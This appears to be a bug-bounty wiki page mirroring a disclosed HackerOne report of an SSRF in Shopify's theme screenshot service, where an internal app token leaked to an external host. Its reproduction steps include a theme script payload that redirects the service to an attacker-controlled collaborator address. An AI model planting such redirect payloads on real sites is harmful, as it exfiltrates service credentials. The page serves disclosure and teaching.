Skip to content
SSRF Disclosed report Intermediate

Screenshot Service leaks X-ABS-App-Token

The theme editor's screenshot service fetched a URL taken from theme content, letting an attacker make the server request an external address. The outbound request carried an internal application token in a header, exposing it to the attacker.

corraldev Follow

Originally disclosed on HackerOne

Informational View original
  • Fixed in 9 days
  • Paid in 11 days
  • Disclosed after 46 days
  1. Login and create a development store
  2. Start Burp Suite and open a burp collaborator client then copy the collaborator payload
  3. Edit the section header.liquid of your current theme. Adding this:
<script>
  window.location="https://[paste_here_collaborator]/";
</script>

Finally go to https://your-store.myshopify.com/admin/themes , in your collaborator client you should be able to read the server request

Impact

This SSRF expose X-ABS-App-Token: screenshot-service-production@████████ . Fortunately when you load another location than the preview page of your shop the screenshot isn't taken but can open the door to another vulnerabilities.

The original report as published on HackerOne, by corraldev. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the screenshot service followed a URL controlled by theme content and sent its internal authentication token to whatever host that URL pointed at, without restricting the destination.

Impact

The leaked token could open the door to further vulnerabilities, though the screenshot is only taken for the shop's preview page, limiting where the request fires.

What the attacker needed

A development store; ability to edit theme files; a collaborator or listener server

How it was found

  1. Create a development store and log in.
  2. Set up a Burp Collaborator client and copy its payload address.
  3. Edit the theme's header section to add a script that redirects the browser to the collaborator address.
  4. Open the admin themes page and watch the collaborator client for the incoming server request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A server-side request forgery (SSRF) is when a server can be tricked into fetching a web address the attacker chooses. Here the shop's screenshot feature loaded a page from the attacker's own server, and that request included a secret token the attacker could then read. The token identifies an internal service, so leaking it could help an attacker reach other things.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.